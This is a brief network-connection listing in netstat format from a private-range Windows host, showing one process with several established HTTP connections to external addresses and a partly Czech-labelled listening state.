TCP	0.0.0.0:49156	0.0.0.0:0	NASLOUCHÁNÍ	476

TCP	192.168.56.129:139	0.0.0.0:0	ISTENING	4

TCP	192.168.56.129:49158	65.55.17.26:80	ESTABLISHED	2988

TCP	192.168.56.129:49160	204.246.230.80:80	ESTABLISHED	2988

TCP	192.168.56.129:49161	65.55.15.242:80	ESTABLISHED	2988

TCP	192.168.56.129:49162	65.55.149.121:80	ESTABLISHED	2988

TCP	192.168.56.129:49163	65.55.15.242:80	ESTABLISHED	2988

TCP	192.168.56.129:49164	65.55.15.242:80	ESTABLISHED	2988

TCP	192.168.56.129:49167	65.55.15.242:80	ESTABLISHED	2988

TCP	192.168.56.129:49168	65.55.15.242:80	ESTABLISHED	2988

TCP	192.168.56.129:49169	65.55.15.242:80	ESTABLISHED	2988

TCP	192.168.56.129:49172	74.125.95.149:80	ESTABLISHED	2988

TCP	192.168.56.129:49174	204.246.230.113:80	ESTABLISHED	2988